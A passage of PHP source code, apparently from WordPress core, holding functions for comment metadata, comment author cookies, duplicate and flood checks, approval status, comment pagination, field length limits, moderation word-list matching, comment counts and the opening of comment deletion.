	$comment_count['total_comments'] = $comment_count['all'] + $comment_count['spam'];

	return array_map( 'intval', $comment_count );
}

//
// Comment meta functions.
//

/**
 * Adds meta data field to a comment.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/add_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_comment_meta( $comment_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'comment', $comment_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a comment.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/delete_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty string.
 * @return bool True on success, false on failure.
 */
function delete_comment_meta( $comment_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'comment', $comment_id, $meta_key, $meta_value );
}

/**
 * Retrieves comment meta field for a comment.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/get_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $key        Optional. The meta key to retrieve. By default,
 *                           returns data for all keys. Default empty string.
 * @param bool   $single     Optional. Whether to return a single value.
 *                           This parameter has no effect if `$key` is not specified.
 *                           Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$comment_id` (non-numeric, zero, or negative value).
 *               An empty string if a valid but non-existing comment ID is passed.
 */
function get_comment_meta( $comment_id, $key = '', $single = false ) {
	return get_metadata( 'comment', $comment_id, $key, $single );
}

/**
 * Queue comment meta for lazy-loading.
 *
 * @since 6.3.0
 *
 * @param array $comment_ids List of comment IDs.
 */
function wp_lazyload_comment_meta( array $comment_ids ) {
	if ( empty( $comment_ids ) ) {
		return;
	}
	$lazyloader = wp_metadata_lazyloader();
	$lazyloader->queue_objects( 'comment', $comment_ids );
}

/**
 * Updates comment meta field based on comment ID.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and comment ID.
 *
 * If the meta field for the comment does not exist, it will be added.
 *
 * @since 2.9.0
 *
 * @link https://developer.wordpress.org/reference/functions/update_comment_meta/
 *
 * @param int    $comment_id Comment ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty string.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_comment_meta( $comment_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'comment', $comment_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Sets the cookies used to store an unauthenticated commentator's identity. Typically used
 * to recall previous comments by this commentator that are still held in moderation.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author's user object. The user may not exist.
 * @param bool       $cookies_consent Optional. Comment author's consent to store cookies. Default true.
 */
function wp_set_comment_cookies( $comment, $user, $cookies_consent = true ) {
	// If the user already exists, or the user opted out of cookies, don't set cookies.
	if ( $user->exists() ) {
		return;
	}

	if ( false === $cookies_consent ) {
		// Remove any existing cookies.
		$past = time() - YEAR_IN_SECONDS;
		setcookie( 'comment_author_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( 'comment_author_email_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( 'comment_author_url_' . COOKIEHASH, ' ', $past, COOKIEPATH, COOKIE_DOMAIN );

		return;
	}

	/**
	 * Filters the lifetime of the comment cookie in seconds.
	 *
	 * @since 2.8.0
	 *
	 * @param int $seconds Comment cookie lifetime. Default 30000000.
	 */
	$comment_cookie_lifetime = time() + apply_filters( 'comment_cookie_lifetime', 30000000 );

	$secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );

	setcookie( 'comment_author_' . COOKIEHASH, $comment->comment_author, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
	setcookie( 'comment_author_url_' . COOKIEHASH, esc_url( $comment->comment_author_url ), $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
}

/**
 * Sanitizes the cookies sent to the user already.
 *
 * Will only do anything if the cookies have already been created for the user.
 * Mostly used after cookies had been sent to use elsewhere.
 *
 * @since 2.0.4
 */
function sanitize_comment_cookies() {
	if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's name cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's name string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_cookie The comment author name cookie.
		 */
		$comment_author = apply_filters( 'pre_comment_author_name', $_COOKIE[ 'comment_author_' . COOKIEHASH ] );
		$comment_author = wp_unslash( $comment_author );
		$comment_author = esc_attr( $comment_author );

		$_COOKIE[ 'comment_author_' . COOKIEHASH ] = $comment_author;
	}

	if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's email cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's email string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_email_cookie The comment author email cookie.
		 */
		$comment_author_email = apply_filters( 'pre_comment_author_email', $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] );
		$comment_author_email = wp_unslash( $comment_author_email );
		$comment_author_email = esc_attr( $comment_author_email );

		$_COOKIE[ 'comment_author_email_' . COOKIEHASH ] = $comment_author_email;
	}

	if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) {
		/**
		 * Filters the comment author's URL cookie before it is set.
		 *
		 * When this filter hook is evaluated in wp_filter_comment(),
		 * the comment author's URL string is passed.
		 *
		 * @since 1.5.0
		 *
		 * @param string $author_url_cookie The comment author URL cookie.
		 */
		$comment_author_url = apply_filters( 'pre_comment_author_url', $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] );
		$comment_author_url = wp_unslash( $comment_author_url );

		$_COOKIE[ 'comment_author_url_' . COOKIEHASH ] = $comment_author_url;
	}
}

/**
 * Validates whether this comment is allowed to be made.
 *
 * @since 2.0.0
 * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function
 *              to return a WP_Error object instead of dying.
 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata Contains information on the comment.
 * @param bool  $wp_error    When true, a disallowed comment will result in the function
 *                           returning a WP_Error object, rather than executing wp_die().
 *                           Default false.
 * @return int|string|WP_Error Allowed comments return the approval status (0|1|'spam'|'trash').
 *                             If `$wp_error` is true, disallowed comments return a WP_Error.
 */
function wp_allow_comment( $commentdata, $wp_error = false ) {
	global $wpdb;

	/*
	 * Simple duplicate check.
	 * expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content)
	 */
	$dupe = $wpdb->prepare(
		"SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = %s AND comment_approved != 'trash' AND ( comment_author = %s ",
		wp_unslash( $commentdata['comment_post_ID'] ),
		wp_unslash( $commentdata['comment_parent'] ),
		wp_unslash( $commentdata['comment_author'] )
	);
	if ( $commentdata['comment_author_email'] ) {
		$dupe .= $wpdb->prepare(
			'AND comment_author_email = %s ',
			wp_unslash( $commentdata['comment_author_email'] )
		);
	}
	$dupe .= $wpdb->prepare(
		') AND comment_content = %s LIMIT 1',
		wp_unslash( $commentdata['comment_content'] )
	);

	$dupe_id = $wpdb->get_var( $dupe );

	/**
	 * Filters the ID, if any, of the duplicate comment found when creating a new comment.
	 *
	 * Return an empty value from this filter to allow what WP considers a duplicate comment.
	 *
	 * @since 4.4.0
	 *
	 * @param int   $dupe_id     ID of the comment identified as a duplicate.
	 * @param array $commentdata Data for the comment being created.
	 */
	$dupe_id = apply_filters( 'duplicate_comment_id', $dupe_id, $commentdata );

	if ( $dupe_id ) {
		/**
		 * Fires immediately after a duplicate comment is detected.
		 *
		 * @since 3.0.0
		 *
		 * @param array $commentdata Comment data.
		 */
		do_action( 'comment_duplicate_trigger', $commentdata );

		/**
		 * Filters duplicate comment error message.
		 *
		 * @since 5.2.0
		 *
		 * @param string $comment_duplicate_message Duplicate comment error message.
		 */
		$comment_duplicate_message = apply_filters( 'comment_duplicate_message', __( 'Duplicate comment detected; it looks as though you&#8217;ve already said that!' ) );

		if ( $wp_error ) {
			return new WP_Error( 'comment_duplicate', $comment_duplicate_message, 409 );
		} else {
			if ( wp_doing_ajax() ) {
				die( $comment_duplicate_message );
			}

			wp_die( $comment_duplicate_message, 409 );
		}
	}

	/**
	 * Fires immediately before a comment is marked approved.
	 *
	 * Allows checking for comment flooding.
	 *
	 * @since 2.3.0
	 * @since 4.7.0 The `$avoid_die` parameter was added.
	 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
	 *
	 * @param string $comment_author_ip    Comment author's IP address.
	 * @param string $comment_author_email Comment author's email.
	 * @param string $comment_date_gmt     GMT date the comment was posted.
	 * @param bool   $wp_error             Whether to return a WP_Error object instead of executing
	 *                                     wp_die() or die() if a comment flood is occurring.
	 */
	do_action(
		'check_comment_flood',
		$commentdata['comment_author_IP'],
		$commentdata['comment_author_email'],
		$commentdata['comment_date_gmt'],
		$wp_error
	);

	/**
	 * Filters whether a comment is part of a comment flood.
	 *
	 * The default check is wp_check_comment_flood(). See check_comment_flood_db().
	 *
	 * @since 4.7.0
	 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
	 *
	 * @param bool   $is_flood             Is a comment flooding occurring? Default false.
	 * @param string $comment_author_ip    Comment author's IP address.
	 * @param string $comment_author_email Comment author's email.
	 * @param string $comment_date_gmt     GMT date the comment was posted.
	 * @param bool   $wp_error             Whether to return a WP_Error object instead of executing
	 *                                     wp_die() or die() if a comment flood is occurring.
	 */
	$is_flood = apply_filters(
		'wp_is_comment_flood',
		false,
		$commentdata['comment_author_IP'],
		$commentdata['comment_author_email'],
		$commentdata['comment_date_gmt'],
		$wp_error
	);

	if ( $is_flood ) {
		/** This filter is documented in wp-includes/comment-template.php */
		$comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) );

		return new WP_Error( 'comment_flood', $comment_flood_message, 429 );
	}

	if ( ! empty( $commentdata['user_id'] ) ) {
		$user        = get_userdata( $commentdata['user_id'] );
		$post_author = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1",
				$commentdata['comment_post_ID']
			)
		);
	}

	if ( isset( $user ) && ( $commentdata['user_id'] == $post_author || $user->has_cap( 'moderate_comments' ) ) ) {
		// The author and the admins get respect.
		$approved = 1;
	} else {
		// Everyone else's comments will be checked.
		if ( check_comment(
			$commentdata['comment_author'],
			$commentdata['comment_author_email'],
			$commentdata['comment_author_url'],
			$commentdata['comment_content'],
			$commentdata['comment_author_IP'],
			$commentdata['comment_agent'],
			$commentdata['comment_type']
		) ) {
			$approved = 1;
		} else {
			$approved = 0;
		}

		if ( wp_check_comment_disallowed_list(
			$commentdata['comment_author'],
			$commentdata['comment_author_email'],
			$commentdata['comment_author_url'],
			$commentdata['comment_content'],
			$commentdata['comment_author_IP'],
			$commentdata['comment_agent']
		) ) {
			$approved = EMPTY_TRASH_DAYS ? 'trash' : 'spam';
		}
	}

	/**
	 * Filters a comment's approval status before it is set.
	 *
	 * @since 2.1.0
	 * @since 4.9.0 Returning a WP_Error value from the filter will short-circuit comment insertion
	 *              and allow skipping further processing.
	 *
	 * @param int|string|WP_Error $approved    The approval status. Accepts 1, 0, 'spam', 'trash',
	 *                                         or WP_Error.
	 * @param array               $commentdata Comment data.
	 */
	return apply_filters( 'pre_comment_approved', $approved, $commentdata );
}

/**
 * Hooks WP's native database-based comment-flood check.
 *
 * This wrapper maintains backward compatibility with plugins that expect to
 * be able to unhook the legacy check_comment_flood_db() function from
 * 'check_comment_flood' using remove_action().
 *
 * @since 2.3.0
 * @since 4.7.0 Converted to be an add_filter() wrapper.
 */
function check_comment_flood_db() {
	add_filter( 'wp_is_comment_flood', 'wp_check_comment_flood', 10, 5 );
}

/**
 * Checks whether comment flooding is occurring.
 *
 * Won't run, if current user can manage options, so to not block
 * administrators.
 *
 * @since 4.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool   $is_flood  Is a comment flooding occurring?
 * @param string $ip        Comment author's IP address.
 * @param string $email     Comment author's email address.
 * @param string $date      MySQL time string.
 * @param bool   $avoid_die When true, a disallowed comment will result in the function
 *                          returning without executing wp_die() or die(). Default false.
 * @return bool Whether comment flooding is occurring.
 */
function wp_check_comment_flood( $is_flood, $ip, $email, $date, $avoid_die = false ) {
	global $wpdb;

	// Another callback has declared a flood. Trust it.
	if ( true === $is_flood ) {
		return $is_flood;
	}

	// Don't throttle admins or moderators.
	if ( current_user_can( 'manage_options' ) || current_user_can( 'moderate_comments' ) ) {
		return false;
	}

	$hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS );

	if ( is_user_logged_in() ) {
		$user         = get_current_user_id();
		$check_column = '`user_id`';
	} else {
		$user         = $ip;
		$check_column = '`comment_author_IP`';
	}

	$sql = $wpdb->prepare(
		"SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( $check_column = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1",
		$hour_ago,
		$user,
		$email
	);

	$lasttime = $wpdb->get_var( $sql );

	if ( $lasttime ) {
		$time_lastcomment = mysql2date( 'U', $lasttime, false );
		$time_newcomment  = mysql2date( 'U', $date, false );

		/**
		 * Filters the comment flood status.
		 *
		 * @since 2.1.0
		 *
		 * @param bool $bool             Whether a comment flood is occurring. Default false.
		 * @param int  $time_lastcomment Timestamp of when the last comment was posted.
		 * @param int  $time_newcomment  Timestamp of when the new comment was posted.
		 */
		$flood_die = apply_filters( 'comment_flood_filter', false, $time_lastcomment, $time_newcomment );

		if ( $flood_die ) {
			/**
			 * Fires before the comment flood message is triggered.
			 *
			 * @since 1.5.0
			 *
			 * @param int $time_lastcomment Timestamp of when the last comment was posted.
			 * @param int $time_newcomment  Timestamp of when the new comment was posted.
			 */
			do_action( 'comment_flood_trigger', $time_lastcomment, $time_newcomment );

			if ( $avoid_die ) {
				return true;
			} else {
				/**
				 * Filters the comment flood error message.
				 *
				 * @since 5.2.0
				 *
				 * @param string $comment_flood_message Comment flood error message.
				 */
				$comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) );

				if ( wp_doing_ajax() ) {
					die( $comment_flood_message );
				}

				wp_die( $comment_flood_message, 429 );
			}
		}
	}

	return false;
}

/**
 * Separates an array of comments into an array keyed by comment_type.
 *
 * @since 2.7.0
 *
 * @param WP_Comment[] $comments Array of comments
 * @return WP_Comment[] Array of comments keyed by comment_type.
 */
function separate_comments( &$comments ) {
	$comments_by_type = array(
		'comment'   => array(),
		'trackback' => array(),
		'pingback'  => array(),
		'pings'     => array(),
	);

	$count = count( $comments );

	for ( $i = 0; $i < $count; $i++ ) {
		$type = $comments[ $i ]->comment_type;

		if ( empty( $type ) ) {
			$type = 'comment';
		}

		$comments_by_type[ $type ][] = &$comments[ $i ];

		if ( 'trackback' === $type || 'pingback' === $type ) {
			$comments_by_type['pings'][] = &$comments[ $i ];
		}
	}

	return $comments_by_type;
}

/**
 * Calculates the total number of comment pages.
 *
 * @since 2.7.0
 *
 * @uses Walker_Comment
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. Defaults to `$wp_query->comments`.
 * @param int          $per_page Optional. Comments per page. Defaults to the value of `comments_per_page`
 *                               query var, option of the same name, or 1 (in that order).
 * @param bool         $threaded Optional. Control over flat or threaded comments. Defaults to the value
 *                               of `thread_comments` option.
 * @return int Number of comment pages.
 */
function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) {
	global $wp_query;

	if ( null === $comments && null === $per_page && null === $threaded && ! empty( $wp_query->max_num_comment_pages ) ) {
		return $wp_query->max_num_comment_pages;
	}

	if ( ( ! $comments || ! is_array( $comments ) ) && ! empty( $wp_query->comments ) ) {
		$comments = $wp_query->comments;
	}

	if ( empty( $comments ) ) {
		return 0;
	}

	if ( ! get_option( 'page_comments' ) ) {
		return 1;
	}

	if ( ! isset( $per_page ) ) {
		$per_page = (int) get_query_var( 'comments_per_page' );
	}
	if ( 0 === $per_page ) {
		$per_page = (int) get_option( 'comments_per_page' );
	}
	if ( 0 === $per_page ) {
		return 1;
	}

	if ( ! isset( $threaded ) ) {
		$threaded = get_option( 'thread_comments' );
	}

	if ( $threaded ) {
		$walker = new Walker_Comment();
		$count  = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page );
	} else {
		$count = ceil( count( $comments ) / $per_page );
	}

	return (int) $count;
}

/**
 * Calculates what page number a comment will appear on for comment paging.
 *
 * @since 2.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $comment_id Comment ID.
 * @param array $args {
 *     Array of optional arguments.
 *
 *     @type string     $type      Limit paginated comments to those matching a given type.
 *                                 Accepts 'comment', 'trackback', 'pingback', 'pings'
 *                                 (trackbacks and pingbacks), or 'all'. Default 'all'.
 *     @type int        $per_page  Per-page count to use when calculating pagination.
 *                                 Defaults to the value of the 'comments_per_page' option.
 *     @type int|string $max_depth If greater than 1, comment page will be determined
 *                                 for the top-level parent `$comment_id`.
 *                                 Defaults to the value of the 'thread_comments_depth' option.
 * }
 * @return int|null Comment page number or null on error.
 */
function get_page_of_comment( $comment_id, $args = array() ) {
	global $wpdb;

	$page = null;

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return;
	}

	$defaults      = array(
		'type'      => 'all',
		'page'      => '',
		'per_page'  => '',
		'max_depth' => '',
	);
	$args          = wp_parse_args( $args, $defaults );
	$original_args = $args;

	// Order of precedence: 1. `$args['per_page']`, 2. 'comments_per_page' query_var, 3. 'comments_per_page' option.
	if ( get_option( 'page_comments' ) ) {
		if ( '' === $args['per_page'] ) {
			$args['per_page'] = get_query_var( 'comments_per_page' );
		}

		if ( '' === $args['per_page'] ) {
			$args['per_page'] = get_option( 'comments_per_page' );
		}
	}

	if ( empty( $args['per_page'] ) ) {
		$args['per_page'] = 0;
		$args['page']     = 0;
	}

	if ( $args['per_page'] < 1 ) {
		$page = 1;
	}

	if ( null === $page ) {
		if ( '' === $args['max_depth'] ) {
			if ( get_option( 'thread_comments' ) ) {
				$args['max_depth'] = get_option( 'thread_comments_depth' );
			} else {
				$args['max_depth'] = -1;
			}
		}

		// Find this comment's top-level parent if threading is enabled.
		if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent ) {
			return get_page_of_comment( $comment->comment_parent, $args );
		}

		$comment_args = array(
			'type'       => $args['type'],
			'post_id'    => $comment->comment_post_ID,
			'fields'     => 'ids',
			'count'      => true,
			'status'     => 'approve',
			'orderby'    => 'none',
			'parent'     => 0,
			'date_query' => array(
				array(
					'column' => "$wpdb->comments.comment_date_gmt",
					'before' => $comment->comment_date_gmt,
				),
			),
		);

		if ( is_user_logged_in() ) {
			$comment_args['include_unapproved'] = array( get_current_user_id() );
		} else {
			$unapproved_email = wp_get_unapproved_comment_author_email();

			if ( $unapproved_email ) {
				$comment_args['include_unapproved'] = array( $unapproved_email );
			}
		}

		/**
		 * Filters the arguments used to query comments in get_page_of_comment().
		 *
		 * @since 5.5.0
		 *
		 * @see WP_Comment_Query::__construct()
		 *
		 * @param array $comment_args {
		 *     Array of WP_Comment_Query arguments.
		 *
		 *     @type string $type               Limit paginated comments to those matching a given type.
		 *                                      Accepts 'comment', 'trackback', 'pingback', 'pings'
		 *                                      (trackbacks and pingbacks), or 'all'. Default 'all'.
		 *     @type int    $post_id            ID of the post.
		 *     @type string $fields             Comment fields to return.
		 *     @type bool   $count              Whether to return a comment count (true) or array
		 *                                      of comment objects (false).
		 *     @type string $status             Comment status.
		 *     @type int    $parent             Parent ID of comment to retrieve children of.
		 *     @type array  $date_query         Date query clauses to limit comments by. See WP_Date_Query.
		 *     @type array  $include_unapproved Array of IDs or email addresses whose unapproved comments
		 *                                      will be included in paginated comments.
		 * }
		 */
		$comment_args = apply_filters( 'get_page_of_comment_query_args', $comment_args );

		$comment_query       = new WP_Comment_Query();
		$older_comment_count = $comment_query->query( $comment_args );

		// No older comments? Then it's page #1.
		if ( 0 == $older_comment_count ) {
			$page = 1;

			// Divide comments older than this one by comments per page to get this comment's page number.
		} else {
			$page = (int) ceil( ( $older_comment_count + 1 ) / $args['per_page'] );
		}
	}

	/**
	 * Filters the calculated page on which a comment appears.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Introduced the `$comment_id` parameter.
	 *
	 * @param int   $page          Comment page.
	 * @param array $args {
	 *     Arguments used to calculate pagination. These include arguments auto-detected by the function,
	 *     based on query vars, system settings, etc. For pristine arguments passed to the function,
	 *     see `$original_args`.
	 *
	 *     @type string $type      Type of comments to count.
	 *     @type int    $page      Calculated current page.
	 *     @type int    $per_page  Calculated number of comments per page.
	 *     @type int    $max_depth Maximum comment threading depth allowed.
	 * }
	 * @param array $original_args {
	 *     Array of arguments passed to the function. Some or all of these may not be set.
	 *
	 *     @type string $type      Type of comments to count.
	 *     @type int    $page      Current comment page.
	 *     @type int    $per_page  Number of comments per page.
	 *     @type int    $max_depth Maximum comment threading depth allowed.
	 * }
	 * @param int $comment_id ID of the comment.
	 */
	return apply_filters( 'get_page_of_comment', (int) $page, $args, $original_args, $comment_id );
}

/**
 * Retrieves the maximum character lengths for the comment form fields.
 *
 * @since 4.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return int[] Array of maximum lengths keyed by field name.
 */
function wp_get_comment_fields_max_lengths() {
	global $wpdb;

	$lengths = array(
		'comment_author'       => 245,
		'comment_author_email' => 100,
		'comment_author_url'   => 200,
		'comment_content'      => 65525,
	);

	if ( $wpdb->is_mysql ) {
		foreach ( $lengths as $column => $length ) {
			$col_length = $wpdb->get_col_length( $wpdb->comments, $column );
			$max_length = 0;

			// No point if we can't get the DB column lengths.
			if ( is_wp_error( $col_length ) ) {
				break;
			}

			if ( ! is_array( $col_length ) && (int) $col_length > 0 ) {
				$max_length = (int) $col_length;
			} elseif ( is_array( $col_length ) && isset( $col_length['length'] ) && (int) $col_length['length'] > 0 ) {
				$max_length = (int) $col_length['length'];

				if ( ! empty( $col_length['type'] ) && 'byte' === $col_length['type'] ) {
					$max_length = $max_length - 10;
				}
			}

			if ( $max_length > 0 ) {
				$lengths[ $column ] = $max_length;
			}
		}
	}

	/**
	 * Filters the lengths for the comment form fields.
	 *
	 * @since 4.5.0
	 *
	 * @param int[] $lengths Array of maximum lengths keyed by field name.
	 */
	return apply_filters( 'wp_get_comment_fields_max_lengths', $lengths );
}

/**
 * Compares the lengths of comment data against the maximum character limits.
 *
 * @since 4.7.0
 *
 * @param array $comment_data Array of arguments for inserting a comment.
 * @return WP_Error|true WP_Error when a comment field exceeds the limit,
 *                       otherwise true.
 */
function wp_check_comment_data_max_lengths( $comment_data ) {
	$max_lengths = wp_get_comment_fields_max_lengths();

	if ( isset( $comment_data['comment_author'] ) && mb_strlen( $comment_data['comment_author'], '8bit' ) > $max_lengths['comment_author'] ) {
		return new WP_Error( 'comment_author_column_length', __( '<strong>Error:</strong> Your name is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_author_email'] ) && strlen( $comment_data['comment_author_email'] ) > $max_lengths['comment_author_email'] ) {
		return new WP_Error( 'comment_author_email_column_length', __( '<strong>Error:</strong> Your email address is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_author_url'] ) && strlen( $comment_data['comment_author_url'] ) > $max_lengths['comment_author_url'] ) {
		return new WP_Error( 'comment_author_url_column_length', __( '<strong>Error:</strong> Your URL is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_content'] ) && mb_strlen( $comment_data['comment_content'], '8bit' ) > $max_lengths['comment_content'] ) {
		return new WP_Error( 'comment_content_column_length', __( '<strong>Error:</strong> Your comment is too long.' ), 200 );
	}

	return true;
}

/**
 * Checks if a comment contains disallowed characters or words.
 *
 * @since 5.5.0
 *
 * @param string $author The author of the comment
 * @param string $email The email of the comment
 * @param string $url The url used in the comment
 * @param string $comment The comment content
 * @param string $user_ip The comment author's IP address
 * @param string $user_agent The author's browser user agent
 * @return bool True if comment contains disallowed content, false if comment does not
 */
function wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent ) {
	/**
	 * Fires before the comment is tested for disallowed characters or words.
	 *
	 * @since 1.5.0
	 * @deprecated 5.5.0 Use {@see 'wp_check_comment_disallowed_list'} instead.
	 *
	 * @param string $author     Comment author.
	 * @param string $email      Comment author's email.
	 * @param string $url        Comment author's URL.
	 * @param string $comment    Comment content.
	 * @param string $user_ip    Comment author's IP address.
	 * @param string $user_agent Comment author's browser user agent.
	 */
	do_action_deprecated(
		'wp_blacklist_check',
		array( $author, $email, $url, $comment, $user_ip, $user_agent ),
		'5.5.0',
		'wp_check_comment_disallowed_list',
		__( 'Please consider writing more inclusive code.' )
	);

	/**
	 * Fires before the comment is tested for disallowed characters or words.
	 *
	 * @since 5.5.0
	 *
	 * @param string $author     Comment author.
	 * @param string $email      Comment author's email.
	 * @param string $url        Comment author's URL.
	 * @param string $comment    Comment content.
	 * @param string $user_ip    Comment author's IP address.
	 * @param string $user_agent Comment author's browser user agent.
	 */
	do_action( 'wp_check_comment_disallowed_list', $author, $email, $url, $comment, $user_ip, $user_agent );

	$mod_keys = trim( get_option( 'disallowed_keys' ) );
	if ( '' === $mod_keys ) {
		return false; // If moderation keys are empty.
	}

	// Ensure HTML tags are not being used to bypass the list of disallowed characters and words.
	$comment_without_html = wp_strip_all_tags( $comment );

	$words = explode( "\n", $mod_keys );

	foreach ( (array) $words as $word ) {
		$word = trim( $word );

		// Skip empty lines.
		if ( empty( $word ) ) {
			continue; }

		// Do some escaping magic so that '#' chars in the spam words don't break things:
		$word = preg_quote( $word, '#' );

		$pattern = "#$word#iu";
		if ( preg_match( $pattern, $author )
			|| preg_match( $pattern, $email )
			|| preg_match( $pattern, $url )
			|| preg_match( $pattern, $comment )
			|| preg_match( $pattern, $comment_without_html )
			|| preg_match( $pattern, $user_ip )
			|| preg_match( $pattern, $user_agent )
		) {
			return true;
		}
	}
	return false;
}

/**
 * Retrieves the total comment counts for the whole site or a single post.
 *
 * The comment stats are cached and then retrieved, if they already exist in the
 * cache.
 *
 * @see get_comment_count() Which handles fetching the live comment counts.
 *
 * @since 2.5.0
 *
 * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that
 *                     comment counts for the whole site will be retrieved.
 * @return stdClass {
 *     The number of comments keyed by their status.
 *
 *     @type int $approved       The number of approved comments.
 *     @type int $moderated      The number of comments awaiting moderation (a.k.a. pending).
 *     @type int $spam           The number of spam comments.
 *     @type int $trash          The number of trashed comments.
 *     @type int $post-trashed   The number of comments for posts that are in the trash.
 *     @type int $total_comments The total number of non-trashed comments, including spam.
 *     @type int $all            The total number of pending or approved comments.
 * }
 */
function wp_count_comments( $post_id = 0 ) {
	$post_id = (int) $post_id;

	/**
	 * Filters the comments count for a given post or the whole site.
	 *
	 * @since 2.7.0
	 *
	 * @param array|stdClass $count   An empty array or an object containing comment counts.
	 * @param int            $post_id The post ID. Can be 0 to represent the whole site.
	 */
	$filtered = apply_filters( 'wp_count_comments', array(), $post_id );
	if ( ! empty( $filtered ) ) {
		return $filtered;
	}

	$count = wp_cache_get( "comments-{$post_id}", 'counts' );
	if ( false !== $count ) {
		return $count;
	}

	$stats              = get_comment_count( $post_id );
	$stats['moderated'] = $stats['awaiting_moderation'];
	unset( $stats['awaiting_moderation'] );

	$stats_object = (object) $stats;
	wp_cache_set( "comments-{$post_id}", $stats_object, 'counts' );

	return $stats_object;
}

/**
 * Trashes or deletes a comment.
 *
 * The comment is moved to Trash instead of permanently deleted unless Trash is
 * disabled, item is already in the Trash, or $force_delete is true.
 *
 * The post comment count will be updated if the comment was approved and has a
 * post ID available.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Comment $comment_id   Comment ID or WP_Comment object.
 * @param bool           $force_delete Whether to bypass Trash and force deletion. Default false.
 * @return bool True on success, false on failure.
 */
function wp_delete_comment( $comment_id, $force_delete = false ) {
	global $wpdb;

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	if ( ! $force_delete && EMPTY_TRASH_DAYS && ! in_array( wp_get_comment_status( $comment ), array( 'trash', 'spam' ), true ) ) {
		return wp_trash_comment( $comment_id );
	}

	/**
	 * Fires immediately before a comment is deleted from the database.
	 *
